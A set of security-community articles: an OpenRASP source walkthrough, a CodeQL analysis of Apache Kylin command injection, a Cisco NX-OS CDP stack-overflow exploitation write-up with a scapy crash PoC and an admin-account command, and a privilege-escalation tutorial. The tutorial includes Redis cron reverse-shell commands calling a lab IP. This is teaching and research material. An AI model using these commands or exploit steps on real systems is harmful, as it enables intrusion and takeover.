INCLUDE("include", new V8Checker(), 1 << 13),
SSRF("ssrf", new V8Checker(), 1 << 14),
SQL_EXCEPTION("sql_exception", new V8Checker(), 1 << 15),
REQUESTEND("requestEnd", new V8Checker(), 1 << 17),
LOADLIBRARY("loadLibrary", new V8Checker(), 1 << 18),
// java本地检测
XSS_USERINPUT("xss_userinput", new XssChecker(), 1 << 16),
SQL_SLOW_QUERY("sqlSlowQuery", new SqlResultChecker(false), 0),
// 安全基线检测
POLICY_SQL_CONNECTION("sqlConnection", new SqlConnectionChecker(false), 0),
POLICY_SERVER_TOMCAT("tomcatServer", new TomcatSecurityChecker(false), 0),
POLICY_SERVER_JBOSS("jbossServer", new JBossSecurityChecker(false), 0),
POLICY_SERVER_JBOSSEAP("jbossEAPServer", new JBossEAPSecurityChecker(false), 0),
POLICY_SERVER_JETTY("jettyServer", new JettySecurityChecker(false), 0),
POLICY_SERVER_RESIN("resinServer", new ResinSecurityChecker(false), 0),
POLICY_SERVER_WEBSPHERE("websphereServer", new WebsphereSecurityChecker(false), 0),
POLICY_SERVER_WEBLOGIC("weblogicServer", new WeblogicSecurityChecker(false), 0),
POLICY_SERVER_WILDFLY("wildflyServer", new WildflySecurityChecker(false), 0),
POLICY_SERVER_TONGWEB("tongwebServer", new TongwebSecurityChecker(false), 0);
1. initTransformer(inst)：核心代码，通过加载class，在加载前使用javassist对其进行hook插桩，以实现rasp的攻击检测功能
/**
* 初始化类字节码的转换器
*
* @param inst 用于管理字节码转换器
*/
private void initTransformer(Instrumentation inst) throws UnmodifiableClassException {
transformer = new CustomClassTransformer(inst);
transformer.retransform();
}
public CustomClassTransformer(Instrumentation inst) {
this.inst = inst;
inst.addTransformer(this, true);
addAnnotationHook();
}
private void addAnnotationHook() {
Set<Class> classesSet = AnnotationScanner.getClassWithAnnotation(SCAN_ANNOTATION_PACKAGE, HookAnnotation.class);
for (Class clazz : classesSet) {
try {
Object object = clazz.newInstance();
if (object instanceof AbstractClassHook) {
addHook((AbstractClassHook) object, clazz.getName());
}
} catch (Exception e) {
LogTool.error(ErrorType.HOOK_ERROR, "add hook failed: " + e.getMessage(), e);
}
}
}
可以看到，addAnnotationHook()读取了com.baidu.openrasp.hook包中所有被@HookAnnotation注解的class，然后缓存到集合hooks中，以提供在后续类加载通过com.baidu.openrasp.transformer.CustomClassTransformer#transform的时候，对其进行匹配，判断是否需要hook
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain domain, byte[] classfileBuffer) throws IllegalClassFormatException {
if (loader != null && jspClassLoaderNames.contains(loader.getClass().getName())) {
jspClassLoaderCache.put(className.replace("/", "."), new WeakReference<ClassLoader>(loader));
}
for (final AbstractClassHook hook : hooks) {
if (hook.isClassMatched(className)) {
CtClass ctClass = null;
try {
ClassPool classPool = new ClassPool();
addLoader(classPool, loader);
ctClass = classPool.makeClass(new ByteArrayInputStream(classfileBuffer));
if (loader == null) {
hook.setLoadedByBootstrapLoader(true);
}
classfileBuffer = hook.transformClass(ctClass);
if (classfileBuffer != null) {
checkNecessaryHookType(hook.getType());
}
} catch (IOException e) {
e.printStackTrace();
} finally {
if (ctClass != null) {
ctClass.detach();
}
}
}
}
serverDetector.detectServer(className, loader, domain);
return classfileBuffer;
}
看细节，可以发现，先根据isClassMatched(String
className)方法判断是否对加载的class进行hook，接着调用的是hook类的transformClass(CtClass
ctClass)->hookMethod(CtClass
ctClass)方法进行了字节码的修改（hook），然后返回修改后的字节码并加载，最终实现了对class进行插桩
例子（com.baidu.openrasp.hook.ssrf.HttpClientHook）：
HttpClient中发起请求前，都会先创建HttpRequestBase这个类的实例，然后才能发起请求，该实例中包含着URI信息，而对于SSRF的攻击检测，就是在请求发起前，对URI进行检测，检测是否是SSRF，因此需要hook到HttpRequestBase类
public boolean isClassMatched(String className) {
return "org/apache/http/client/methods/HttpRequestBase".equals(className);
}
既然要检测SSRF，那么就选择在setURI时，就对其URI进行检测，hookMethod方法其实就是通过javassist生成了一段调用com.baidu.openrasp.hook.ssrf.HttpClientHook#checkHttpUri方法的代码，并插入到HttpRequestBase.setURI方法中，以实现检测SSRF
protected void hookMethod(CtClass ctClass) throws IOException, CannotCompileException, NotFoundException {
String src = getInvokeStaticSrc(HttpClientHook.class, "checkHttpUri",
"$1", URI.class);
insertBefore(ctClass, "setURI", "(Ljava/net/URI;)V", src);
}
checkHttpUri方法通过取出相关信息，host、port、url等，然后通过一系列方法，对检测ssrf的js插件进行调用以检测攻击，当然，过程中会加入一些机制，对其可用性的增强
public static void checkHttpUri(URI uri) {
String url = null;
String hostName = null;
String port = "";
try {
if (uri != null) {
url = uri.toString();
hostName = uri.toURL().getHost();
int temp = uri.toURL().getPort();
if (temp > 0) {
port = temp + "";
}
}
} catch (Throwable t) {
LogTool.traceHookWarn("parse url " + url + " failed: " + t.getMessage(), t);
}
if (hostName != null) {
checkHttpUrl(url, hostName, port, "httpclient");
}
}
->com.baidu.openrasp.hook.ssrf.AbstractSSRFHook#checkHttpUrl
protected static void checkHttpUrl(String url, String hostName, String port, String function) {
HashMap<String, Object> params = new HashMap<String, Object>();
params.put("url", url);
params.put("hostname", hostName);
params.put("function", function);
params.put("port", port);
LinkedList<String> ip = new LinkedList<String>();
try {
InetAddress[] addresses = InetAddress.getAllByName(hostName);
for (InetAddress address : addresses) {
if (address != null && address instanceof Inet4Address) {
ip.add(address.getHostAddress());
}
}
} catch (Throwable t) {
// ignore
}
Collections.sort(ip);
params.put("ip", ip);
HookHandler.doCheck(CheckParameter.Type.SSRF, params);
}
流程汇总：
1.com.baidu.openrasp.hook.ssrf.HttpClientHook#checkHttpUri
2.com.baidu.openrasp.hook.ssrf.AbstractSSRFHook#checkHttpUrl
3.com.baidu.openrasp.HookHandler#doCheck
4.com.baidu.openrasp.HookHandler#doCheckWithoutRequest
在这里，做了一些云控注册成功判断和白名单的处理
5.com.baidu.openrasp.HookHandler#doRealCheckWithoutRequest
在这里，做了一些参数的封装，以及失败日志、耗时日志等输出，并且在检测到攻击时（下一层返回），抛出异常
6.com.baidu.openrasp.plugin.checker.CheckerManager#check
7.com.baidu.openrasp.plugin.checker.AbstractChecker#check
在这里，对js或者其他类型的安全检测之后的结果，进行事件处理并返回结果
8.com.baidu.openrasp.plugin.checker.v8.V8Checker#checkParam
9.com.baidu.openrasp.plugin.js.JS#
在这里，做了一些commonLRUCache的并发幂等处理
10.com.baidu.openrasp.v8.V8#Check(java.lang.String, byte[], int, com.baidu.openrasp.v8.Context, boolean, int)
**总的来说，大概整个OpenRASP的核心就是如此了，还有一些关于cloud的云控实现，这里的篇幅暂且不对其就行研究** | 社区文章 |
关于apache kylin漏洞就2篇帖子：
<https://mp.weixin.qq.com/s/QzlHYST0kIqjNV-hnosyAw>
<https://www.freebuf.com/vuls/243541.html>
其中，CVE-2020-1392是jd蓝军发现的。
直接就开始分析吧，首先分析sink，
Sink就很简单
这里的
sink我们就正常的去定义一个construtorCall，然后这个construtorCall限定在processBuilder下就行。如果你不会写，那就很棒棒了，codeql官方有一个ExternalProcess.qll库里面有一个ArgumentToExec类，这个类会覆盖到这个sink
那么就直接写一个
override predicate isSink(DataFlow::Node sink) {
sink.asExpr() instanceof ArgumentToExec
}
就定义好了sink。
接下来定义source。
我们看到漏洞的分析里，漏洞最开始的参数是来源于
这的注解的project参数。这个project应该就是一个任务的名字。
对于这个source 的定义的话，就可以判断下他的注解和参数，参数也是有注解的，把这个抽象出来一个method
代码就是
class DumpProjectDiagnosisInfoMethod extends Method {
DumpProjectDiagnosisInfoMethod() {
// this.hasName("dumpProjectDiagnosisInfo")
this.getSourceDeclaration().getAnAnnotation().toString().matches("%Mapping%") and
this.getAParameter().getAnAnnotation().toString().matches("PathVariable")
}
}
接下来我们可以看到整个漏洞的产生有不断的调用方法。
那么定义一个
class CallTaintStep extends TaintTracking::AdditionalTaintStep {
override predicate step(DataFlow::Node n1, DataFlow::Node n2) {
exists(Call call |
n1.asExpr() = call.getAnArgument() and
n2.asExpr() = call
)
}
}
来保证调用关系。
然后我们跑下codeQL
可以看到source有3个地方可以流入processbuilder，分别是CubeController.java,DiagnosisController.java这2个文件，其中Diagnosisxx.java这个文件有2个注解方法可以流入到processbuilder。分别获得了CVE-2020-13925，CVE-2020-1956。
京东的那个分析文章也说了，漏洞存在的2个接口，而我们多了一个。这个会不会存在问题呢？
我们来看下他的数据流：
可以看到数据流第5步经过了一个checkParameterWhiteList方法，这个方法需要满足正则表达式：
COMMAND_WHITE_LIST = "[^\\w%,@/:=?.\"\\[\\]]";
反正我是绕不过。绕过了 这就是一个新的CVE了。但是放心，这个数据流是通的。
自从用了数据流，挖洞都轻松了很多。
用CodeQL分析1day 很轻松 看看cve描述 然后挖掘一下就基本上可以把没poc的漏洞分析出利用方式了。
apache kylin就有一个新的cve 也是国人提交的，大家可以试试分析下 | 社区文章 |
**Author：Hcamael@Knownsec 404 Team**
**Time: March 19, 2020**
**Chinese version:<https://paper.seebug.org/1154/ >**
The Cisco Discovery Protocol (CDP) is a link layer protocol used to discover
Cisco devices in a LAN.
Recently, Cisco CDP protocol discovered several loopholes, and picked up stack
overflow --cve-2020-3119 to analysis ,Armis labs also published analysis
paper.
# Build the Environment
The CVE-3119 affects Cisco NX-OS system devices, we can find the device
version affected by the vulnerability in Cisco Security Center. We can get NX-OS 9.2.3 firmware from Cisco Download Center
First, I tried to use `binwalk` to decompress the firmware, but I encountered
some problems. Too much xz compressed data in NX-OS firmware, `binwalk`
consumes a lot of time when dealing with firmware in this case.
I spent two days without decompressing the firmware. But I can't find a
substitute result.
So I decided to find a way to get the firmware up, and I found a software that
can perform firmware emulation of Cisco devices -- GNS3.
## How To Use GNS3
After we download GNS3, we also need to download GNS3 VM. GNS3 VM as GNS3
server, can run directly using virtual machine, and we use GNS3 control server
for firmware simulation.
1.Set GNS3 VM
2.Create a New Template
3.Choose Switches -> Cisco NX-OSv 9000
We find that GNS3 uses qemu to simulate NX-OS, so the firmware we downloaded
from the Cisco Download Center requires qcow2 format.
Then Import the corresponding firmware into GNS3 VM。
After the import is completed, we can see the newly added device in the
switches column.
4.Connect the NX-OS and Cloud
In the above image, `Toolbox-1` is my newly added ubuntu docker template. At
the beginning of research, I connected the `Toolbox-1` directly to the NX-OS
switch.
But then I found out that GNS3 has a template called Cloud(For example Cloud1
in the picture above). The Cloud can represent any NIC on the local device or
any NIC on the GNS3 VM.
I have a frequently used ubuntu VM in my Mac. I let the NIC of this ubuntu VM
directly connect with the NX-OS switch, this is convenient for my subsequent
research.
In the process of research, we can click this straight line on right, use
`wireshark` capture the network traffic.
5.Start all nodes
The last step is to click the start button on the upper toolbar to start all
your devices.
# NX-OS Switch Binary Research
However, The network is not working yet, and you need to log the switch
through several port to configure the Switch. GNS3 will forward the serial
port of the Switch through telnet by default. We can see the telnet IP/Port
through the upper right corner of the GNS3.
The first time you log in to the switch requires initial setup. After setup,
you can log in to the Cisco management shell with the administrator account
password you set.
After research we found that qemu started one bootloader, and bootloader start
nxos.9.2.3.bin(NX-OS firmware), this is a Linux System. Then the Linux start a
Linux VM called `guestshell`. Under default circumstances, we can only log
into this `guestshell`.
The terminal we use to log in through telnet and configuring Cisco Switch is
not bash, this program called vsh.bin.
The vulnerability in this research occurred in a `cdpd` program, but we can't
find the cdpd in `guestshell`. So we need to find a way to get the terminal of
the outer system.
After subsequent research, it was found that there is a python command in vsh,
and this python is an nxpython program that exists in the Cisco outer system.
So we can use python to get the Linux shell of the Cisco outer system.
Then use the mac address to find the NIC you set up in GNS3, and set the IP
address. Then we can directly access the terminal of the Cisco outer system
through ssh.
bash
Cisco# python
Python 2.7.11 (default, Feb 26 2018, 03:34:16)
[GCC 4.6.3] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.system("/bin/bash")
bash-4.3$ id
uid=2002(admin) gid=503(network-admin) groups=503(network-admin),504(network-operator)
bash-4.3$ sudo -i
root@Cisco#ifconfig eth8
eth8 Link encap:Ethernet HWaddr 0c:76:e2:d1:ac:07
inet addr:192.168.102.21 Bcast:192.168.102.255 Mask:255.255.255.0
UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1
RX packets:82211 errors:61 dropped:28116 overruns:0 frame:61
TX packets:137754 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:6639702 (6.3 MiB) TX bytes:246035115 (234.6 MiB)
root@Cisco#ps aux|grep cdp
root 10296 0.0 0.8 835212 70768 ? Ss Mar18 0:01 /isan/bin/cdpd
root 24861 0.0 0.0 5948 1708 ttyS0 S+ 05:30 0:00 grep cdp
## Use Scapy to send CDP packet
Next we will research how to send cdp packets. You can see the cdp packet
format in the analysis released by Armis Labs. Similarly, we can also open the
cdp of Cisco Switch and view the cdp packets sent by Cisco Switch.
Cisco#conf ter
Cisco(config)# cdp enable
# ethernet 1/7 is the directly connected to ubuntu VM.
Cisco(config)# interface ethernet 1/7
Cisco(config-if)# no shutdown
Cisco(config-if)# cdp enable
Cisco(config-if)# end
Cisco# show cdp interface ethernet 1/7
Ethernet1/7 is up
CDP enabled on interface
Refresh time is 60 seconds
Hold time is 180 seconds
Then we can directly capture the packet of the NIC through wireshark or GNS3.
Now, We can research the format of the CDP.
Because I am used to writing PoC using python, I started to study how to use
python to send CDP protocol packets, and then I found that `scapy` has some
built-in CDP packet related content.
Here is a simple example:
from scapy.contrib import cdp
from scapy.all import Ether, LLC, SNAP
# link layer
l2_packet = Ether(dst="01:00:0c:cc:cc:cc")
# Logical-Link Control
l2_packet /= LLC(dsap=0xaa, ssap=0xaa, ctrl=0x03) / SNAP()
# Cisco Discovery Protocol
cdp_v2 = cdp.CDPv2_HDR(vers=2, ttl=180)
deviceid = cdp.CDPMsgDeviceID(val=cmd)
portid = cdp.CDPMsgPortID(iface=b"ens38")
address = cdp.CDPMsgAddr(naddr=1, addr=cdp.CDPAddrRecordIPv4(addr="192.168.1.3"))
cap = cdp.CDPMsgCapabilities(cap=1)
cdp_packet = cdp_v2/deviceid/portid/address/cap
packet = l2_packet / cdp_packet
sendp(packet)
## Trigger the vulnerability
The next step is to research how to trigger the vulnerability. First, scp the
`cdpd` from the switch, and then throw the binary into `IDA` to find the
vulnerability. According to the vulnerability analysis released by Armis Labs,
it was found that the vulnerability exists in the `cdpd_poe_handle_pwr_tlvs`
function. The related vulnerability code is as follows:
if ( (signed int)v28 > 0 )
{
v35 = (int *)(a3 + 4);
v9 = 1;
do
{
v37 = v9 - 1;
v41[v9 - 1] = *v35;
*(&v40 + v9) = _byteswap_ulong(*(&v40 + v9));
if ( !sdwrap_hist_event_subtype_check(7536640, 104) )
{
*(_DWORD *)v38 = 104;
snprintf(&s, 0x200u, "pwr_levels_requested[%d] = %d\n", v37, *(&v40 + v9));
sdwrap_hist_event(7536640, strlen(&s) + 5, v38);
}
if ( sdwrap_chk_int_all(104, 0, 0, 0, 0) )
{
v24 = *(&v40 + v9);
buginf_ftrace(1, &sdwrap_dbg_modname, 0, "pwr_levels_requested[%d] = %d\n");
}
snprintf(v38, 0x3FCu, "1111 pwr_levels_requested[%d] = %d\n", v37, *(&v40 + v9), v24);
sdwrap_his_log_event_for_uuid_inst(124, 7536640, 1, 0, strlen(v38) + 1, v38);
*(_DWORD *)(a1 + 4 * v9 + 1240) = *(&v40 + v9);
++v35;
++v9;
}
while ( v9 != v28 + 1 );
}
The follow-up is still based on the contents of the Armis Labs vulnerability
analysis article. As long as the Power Request and Power Level are added to
the cdp package, the cdpd program crash can be triggered:
power_req = cdp.CDPMsgUnknown19(val="aaaa"+"bbbb"*21)
power_level = cdp.CDPMsgPower(power=16)
cdp_packet = cdp_v2/deviceid/portid/address/cap/power_req/power_level
## How to exploit
First ,look at the protection of the binary program:
$ checksec cdpd_9.2.3
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
RPATH: '/isan/lib/convert:/isan/lib:/isanboot/lib'
This is a 32-bit program, and only enabled NX and PIE.
Because the `cdpd` program cannot interact, it can only send all the payloads
at one time, so there is no way to leak the address. But because it is a
32-bit program, and the `cdpd` program will restart automatically after each
crash, so we can blast the `cdpd` program address.
There are a few things to note before writing a exploitation script:
1.After the stack overflow overwrites the return address, it will continue to
overwrite the address of the function parameter.
*(_DWORD *)(a1 + 4 * v9 + 1240) = *(&v40 + v9);
Because of the above code, a value needs to be written to the address near the
`a1` address. If we only cover the return address, you cannot achieve the
purpose of command execution by only jumping to an address. So our payload
needs to overwrite `a1` with a writable address.
2.In the `cdpd_poe_handle_pwr_tlvs` function, many branches will go to
the`cdpd_send_pwr_req_to_poed` function, and there is a `__memcpy_to_buf`
function in this function. This function limits the length of the`Power
Requested` to less than 40 bytes. Such a short length is not enough for stack
overflow. So we cannot go to the branch that will call
`cdpd_send_pwr_req_to_poed` function.
v10 = *(_WORD *)(a1 + 1208);
v11 = *(_WORD *)(a1 + 1204);
v12 = *(_DWORD *)(a1 + 1212);
if ( v32 != v10 || v31 != v11 )
We need to make this condition evaluate to `False` and not enter this branch.
Therefore, the value of the a1 address to be covered needs to be constructed.
3.The purpose of our use is not to execute `execve("/bin/bash")`, because
there is no interaction, so even if this command is executed, it is useless.
So what can we do? First, we can execute the code of the reverse shell.
Second, we can add an Administrator account, such as executing the following
command:
/isan/bin/vsh -c "configure terminal ; username test password qweASD123 role network-admin"
We can achieve these purpose by executing `system (cmd)`. But how to pass the
parameters? After research, we found that the contents of the `DeviceID`
related fields in the CDP protocol are stored on the heap, and the heap
address is stored on the stack. We can adjust the stack address by `ret` ROP.
This will successfully pass arbitrary parameters to the `system` function.
Finally, put a demo video:
**Reference**
1. <https://go.armis.com/hubfs/White-papers/Armis-CDPwn-WP.pdf>
2. <https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20200205-nxos-cdp-rce>
3. <https://software.cisco.com/download/home/286312239/type/282088129/release/9.2(3)?i=!pp>
4. <https://scapy.readthedocs.io/en/latest/api/scapy.contrib.cdp.html>
* * * | 社区文章 |
本文由红日安全成员： misakikata 编写，如有不当，还望斧正。
大家好，我们是红日安全-Web安全攻防小组。此项目是关于Web安全的系列文章分享，还包含一个HTB靶场供大家练习，我们给这个项目起了一个名字叫
Web安全实战 ，希望对想要学习Web安全的朋友们有所帮助。每一篇文章都是于基于漏洞简介-漏洞原理-漏洞危害-测试方法（手工测试，工具测试）-靶场测试（分为PHP靶场、JAVA靶场、Python靶场基本上三种靶场全部涵盖）-实战演练（主要选择相应CMS或者是Vulnhub进行实战演练)，如果对大家有帮助请Star鼓励我们创作更好文章。如果你愿意加入我们，一起完善这个项目，欢迎通过邮件形式（[email protected]）联系我们。
# 1.越权
## 1.1 漏洞简介
未授权访问，顾名思义不进行请求授权的情况下对需要权限的功能进行访问执行。通常是由于认证页面存在缺陷，无认证，安全配置不当导致。常见于服务端口，接口无限制开放，网页功能通过链接无限制用户访问，低权限用户越权访问高权限功能。
何为越权漏洞，通俗的理解为用户可以操作超出自己管理权限范围的功能，从而进行非一般用户可以操作的行为。越权一般可以分为：垂直越权，水平越权。而在非用户登陆模式下，任意用户访问特定地址或链接均可以访问到需要用户身份后才可以访问到的功能。越权也可以看为安全配置不当导致的未授权访问。
## 1.2 漏洞原理
未授权访问是系统对用户限制不全，或者无限制，可以让任意用户或者限制访问用户，可以访问到内部敏感信息，导致的信息泄露，以及系统功能的执行。越权漏洞的产生原因是未对访问功能做权限的效对，或者限制不全，导致对用户的限制只局限于某一个功能和操作上。
## 1.3 漏洞危害
未授权访问通常是会泄露用户信息，系统信息。某些服务和系统中，未授权访问还可以执行系统命令，操作系统文件，导致系统的整体安全遭到破坏。而越权可以分为水平越权和垂直越权。垂直越权漏洞会导致低权限用户用来执行高权限用户的功能，获取高权限用户的账号信息，执行高权限用户的操作功能。水平越权会导致同一层级间的用户可以互相访问到对方的敏感信息，如保存的地址、手机号、订单记录。同时还可能会以其他平级权限用户的身份来执行某行功能，如购买，删除，添加，修改等。
# 2\. 漏洞测试方法
## 2.1 常见的未授权服务
### 2.1.1 redis未授权访问
此问题在互联网上曾经多数存在，redis默认开放6379端口，且对外开放。可以通过此端口来执行命令写入文件来反弹shell。
root@kali:~# redis-cli -h 192.168.63.130
192.168.63.130:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.63.128/7999 0>&1\n"
OK
192.168.63.130:6379> config set dir /var/spool/cron/
OK
192.168.63.130:6379> config set dbfilename root
OK
192.168.63.130:6379> save
OK
### 2.1.2 Jenkins未授权访问
默认情况下Jenkins面板中用户可以选择执行脚本界面来操作一些系统层命令，攻击者可通过未授权访问漏洞或者暴力破解用户密码等进脚本执行界面从而获取服务器权限。
http://www.secpulse.com:8080/manage
http://www.secpulse.com:8080/script
选择脚本命令行可以执行一些系统命令。
### 2.1.3 MongoDB未授权访问
开启MongoDB服务时不添加任何参数时,默认是没有权限验证的,而且可以远程访问数据库，登录的用户可以通过默认端口无需密码对数据库进行增、删、改、查等任意高危操作。
默认开启在27017端口，新版早就默认绑定在本地，之前的老版本仍有一些在互联网上开放在跑的端口。
### 2.1.4 Memcache未授权访问
Memcached是一套常用的key-value缓存系统，由于它本身没有权限控制模块，所以对公网开放的Memcache服务很容易被攻击者扫描发现，攻击者通过命令交互可直接读取Memcached中的敏感信息。
默认开启在11211端口，可以使用端口连接工具或者命令，nc等，连接成功则存在。
关于未授权访问的可以查看：<https://www.secpulse.com/archives/61101.html>
## 2.2 基于用户ID的越权
举个例子：
https://www.xxx.com/user1/userinfo.php?user_id=user1
https://www.xxx.com/user1/userinfo.php?user_id=10001
我们登陆某个系统后，看到某些功能上获取信息的方式类似于上链接时，可以初步判断获取信息的方式为根据user_id来获对应的用户信息，如果参数为用户名，我们可以手机用户名字典来枚举信息，根据返回值判断是否存在问题。当然如果枚举较大，系统用户数量又不是很多的情况下，可以尝试注册新用户，利用新用户的用户名来测试是否可以获取到用户信息。
如果参数为一个固定的数字串时，遍历数字串即可，这种情况下是系统对每个注册用户进行了一个用户id的排序，在众多的开源CMS上都有使用，当然这个字符串也有可能是随机，如果是随机的，量不大的情况下可以采用遍历的形式获取，量较大可以利用burp的随机数爆破，或者同样自己注册账户来测试。
## 2.3 基于功能对象ID的越权
举个例子：
https://www.xxx.com/user1/userticket.php?user_order=100001
https://www.xxx.com/user1/userticket.php?user_order=49ba59ab
此问题大量存在于用户订单、购买、查询等功能的商家CMS上，例如以上地址，如果user_order是订单编号，那么我们可以尝试遍历订单地址来查询是否存在越权。如果编号并不是单纯的订单数字串，而是类似如上的编码字符串，相信自己的运气的话可以尝试某些编码的情况，例如BASE64、MD5。猜测不到，或者不能明显的看出来是如果做的处理，注册新账号重新下单，会是简单方便的选择。
## 2.4 基于上传文件对象ID的越权
举个例子：
https://www.xxx.com/user1/userfile.php?fileid=10001
https://www.ccc.com/user1/userfile.php?fileid=user1_name.jpg
这种上传文件后，可以越权查看其他用户的上传文件也是经常发现类似的问题。假设，系统要求我们上传个人的身份证，实名认证信息、购买的发票订单等。如果上传后看到类似如上地址，可以猜测此上传文件可以遍历获取，同过查询fileid来查看其他用户的上传信息。如果上传后文件名如第二种，可能此文件是系统经过重命名的，重命名的方式一般采用当前上传的时间戳或者当前上传的日期加随机字段，这种情况下枚举较为困难，但仍然可以采用注册新用户的方式来查看是否存在越权。顺便一问，如果是www.ccc.com获取信息的方式，还可能会有什么问题呢？
## 2.5 基于未授权访问的越权
举个例子：
https://www.xxx.com/user1/[email protected]
在一些系统上登陆用户后，可以看到类似如上的地址链接，可能你会觉得这个跟问题1类似，但是也有可能多一张问题情况，在非登陆的情况下仍然可以访问到详细信息。如果可以，则证明后端对身份的效验只是基于参数user，并没有效验用户的session是否已登陆。此问题曾发现于一个系统后端支付订单复核的功能中，问题可想而知。
## 2.6 基于功能地址的越权
举个例子：
https://www.xxx.com/user/getuserinfo.php
如上地址，正常情况下，只访问此后台地址时，一般会跳转到登陆地址，或者登陆后用来查看某个具体的功能，获取数据的情况根据访问的链接地址来，理论上此功能并不存在越权可能，因为没有我们可以修改的参数。但是对权限及功能的限制可能只局限于用户菜单的限制，根据常用链接，可以猜测是否存在以下地址：
/getuserorder.php
/adduser.php
/deluser.php
/getalluser.php
/todetailpage.php
/ordercreate.php
......
因为在绝大部分系统中，开发为了方便区别功能和页面，通常会利用对应的英文来命名文件，但这些文件并不是任意用户都可以访问到的，所以可以猜测访问地址是否英文的拼接来猜测路径。对于此问题的快捷测试是获取一个高权限账号，当然对于未授权测试来说，很难实现。
## 2.7 基于接口身份的越权
举个例子：
https://www.xxx.com/user/userinfo.php
post: {'userid':'10001','username':'name','userage':'18','usermobile':'18080808888'}
例如如上接口，修改用户信息，当我们点击某个系统的修改自身资料时，会发送一个类似的json数据包，其中userid对应我们自己的用户id，修改后，可以修改对应id的用户资料。修改方式类似问题1。区别在于一个页面可见，一个页面不直观可见，一个查询，一个修改。需要配合其他越权查询漏洞，或者账号来识别是否修改成功。
# 3\. 漏洞靶场测试
漏洞环境：phpstudy，webug4.0
靶场介绍：国产靶场，漏洞齐全，演示也相当完善。其中还分为初，中，高。虽然高好像没东西，但仍然是一个不错的靶场环境。
漏洞演示：演示为靶场的22号漏洞，越权修改密码
靶场安装：<https://github.com/wangai3176/webug4.0，本来也给了一个vm的安装环境，但是那个百度云打不开了。就直接用文件自己安装，也没找到安装教程，就摸索着如下安装了。>
把sql目录中的文件安装到数据库，新建三个按照文件名的数据库，导入数据文件，修改data目录下的dbconfig和dbconn文件，修改为自己的数据库账号密码和数据库名。修改完成后建议把网站目录修改为webug的目录下。直接访问本地地址即可。
另外需要修改/control/auth_cross/cross_auth_passwd.php文件下的一段代码，不然跳转到错误路径：
header("Location:/pt_env/control/auth_cross/cross_auth_passwd2.php?id={$id}")
修改为：
header("Location:/control/auth_cross/cross_auth_passwd2.php?id={$id}")
点击第一个越权修改密码后进入如下页面：
此处我打开了数据库来对应查看修改密码的情况，打开webug数据库下的user_test表，可以看到其中有两个用户如下：
此处利用aaaaa用户修改admin用户密码，利用aaaaa账户登陆后，看到如下界面
此处，我们可以先正常走一遍逻辑来查看其中的数据包情况，把aaaaa的密码修改为aaaaa，弹窗OK。然后查看抓取到的数据包。
其中有旧密码和新密码两个参数，理论上如果效验了旧密码和账号的一致性，就算链接中的id可以修改越权也无法修改密码，会提示旧密码不正确，但此处并没有效验旧密码和账号的一致性，导致修改链接中的2为1，post参数不变，或者任意旧密码值，便可以修改admin的密码。
查看数据库修改是否成功：
此处的问题存在两点，一是修改的用户身份由链接中的ID来决定，二是没有对旧密码和账户进行身份验证。
# 4\. 工具测试
对于越权类的安全问题，并没有自动化测试工具来发现和识别，至少现在没有发现哪里有完善的越权检测工具和扫描器。
此处介绍一款burp的越权插件，辅助检测越权漏洞，但是只能检测基于功能的越权，并不能自动的检测需要修改参数来判断越权形式的漏洞。
在burp的Extender选项中选择BApp
Store选项卡，找到Authz插件，点击install。安装完成后选项卡中会出现一个Authz的新选项卡，界面如下：
此处需要两个用户身份，假设为A用户和B用户，登陆A用户的账号，获取Cookie到new
header中，使用B账号抓包获取信息。到proxy中选择需要测试的功能地址，右键到Send requests to Authz。
获取够需要测试的功能后，到Authz界面点击run即可运行，此处没有设置cookie，那么将按照未授权访问来测试。
其中，会在请求中替换我们输入的cookie值，如图显示，源请求的字节长度，请求的字节长度，源请求的响应码，请求的响应码，通过对响应的差别来查看是否存在越权漏洞。
能达到此检测目的的还有一款插件AuthMatrix，也同样可以检测越权，功能强劲，使用较Authz复杂，对于高要求，多用户，需要对请求中的token等进行选择替换的，可以使用此插件。
介绍地址：<https://github.com/portswigger/auth-matrix>
# 5\. CMS演示
## 5.1 前台任意修改其他用户信息
漏洞环境：phpstudy，phpcms9.5.9
漏洞介绍：phpcms设计缺陷导致前台用户可以任意修改其他用户密码
漏洞下载：<http://download.phpcms.cn/v9/9.5/phpcms_v9.5.9_UTF8.zip>
解压安装到phpstudy，访问后需要安装，按照安装要求，填入账号密码。等待安装完成，将自动跳转到后台管理页面。登陆后台需要先添加邮箱认证，如下添加的腾讯邮箱。具体腾讯授权码获取方式可以查看：[https://service.mail.qq.com/cgi-bin/help?subtype=1&id=28&no=1001256](https://service.mail.qq.com/cgi-bin/help?subtype=1&id=28&no=1001256)
在用户模块中添加如下信息，新增两个测试用户，类似如下，需要其中一个可以接收邮件。
在站点首页点击登陆处，如果跳转到404安装页面，可能是你没有删除install安装目录，删除访问index.php即可。选择忘记密码->用户名找回密码
点击获取邮箱效验码
返回上一步输入想修改的用户，如下test2
输入之前的邮箱验证码提交
点击后显示密码修改成功为以下：
尝试使用新密码登陆成功：
漏洞修复：此问题出现原因在于验证码没有跟账号做绑定，验证时只做了验证码是否有效的判断。对于此类问题，频繁出现在手机号验证码，邮箱验证码处，在最后执行修改时需要一同验证，验证码和手机或者邮箱的对应关系。
## 5.2 redis未授权访问
漏洞环境：Ubuntu，reids 3.2.0
漏洞介绍：Redis因配置不当可以未授权访问。攻击者无需认证访问到内部数据，可导致敏感信息泄露，也可以写入文件来反弹shell
安装如下：
wget http://download.redis.io/releases/redis-3.2.0.tar.gz
tar xzf redis-3.2.0.tar.gz
cd redis-3.2.0
make
修改配置文件
vi redis.conf
bind 127.0.0.1 加上#
protected-mode yes 改为no
在配置文件目录下启动
./src/redis-server redis.conf
启动后显示如下：
通过reids命令可以查看基本信息
尝试反弹shell到指定地址
set x "\n* * * * * bash -i >& /dev/tcp/192.168.30.79/2333 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
或者采用gopher协议，直接利用curl一条命令执行
# 6\. 漏洞修复
1、验证需要从前端获取的参数，比如用户ID和角色权限名，对于需要根据前台请求来返回数据的参数进行权限效验。
